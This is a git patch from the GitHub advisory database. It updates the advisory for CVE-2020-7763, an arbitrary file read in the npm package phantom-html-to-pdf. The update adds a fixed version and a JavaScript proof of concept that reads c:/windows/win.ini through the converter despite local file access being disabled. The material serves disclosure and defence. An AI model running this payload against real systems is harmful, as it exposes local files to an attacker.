From 28270984e41828924cc52b6f125e2555c570917f Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 7 Sep 2023 22:37:37 +0000 Subject: [PATCH] Publish GHSA-6h7f-qwqm-35pp --- .../11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json b/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json index 52e737ceab7..1b9ab807b6e 100644 --- a/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json +++ b/advisories/github-reviewed/2020/11/GHSA-6h7f-qwqm-35pp/GHSA-6h7f-qwqm-35pp.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-6h7f-qwqm-35pp", - "modified": "2021-07-29T20:38:31Z", + "modified": "2023-09-07T22:36:42Z", "published": "2020-11-06T18:06:16Z", "aliases": [ "CVE-2020-7763" ], "summary": "Arbitrary File Read in phantom-html-to-pdf", - "details": "This affects the package phantom-html-to-pdf before 0.6.1.", + "details": "This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n console.log(pdf.numberOfPages);\n pdf.stream.pipe(output);\n});\n```", "severity": [ { "type": "CVSS_V3", @@ -20,12 +20,20 @@ "ecosystem": "npm", "name": "phantom-html-to-pdf" }, + "ecosystem_specific": { + "affected_functions": [ + "" + ] + }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" + }, + { + "fixed": "0.6.2" } ] }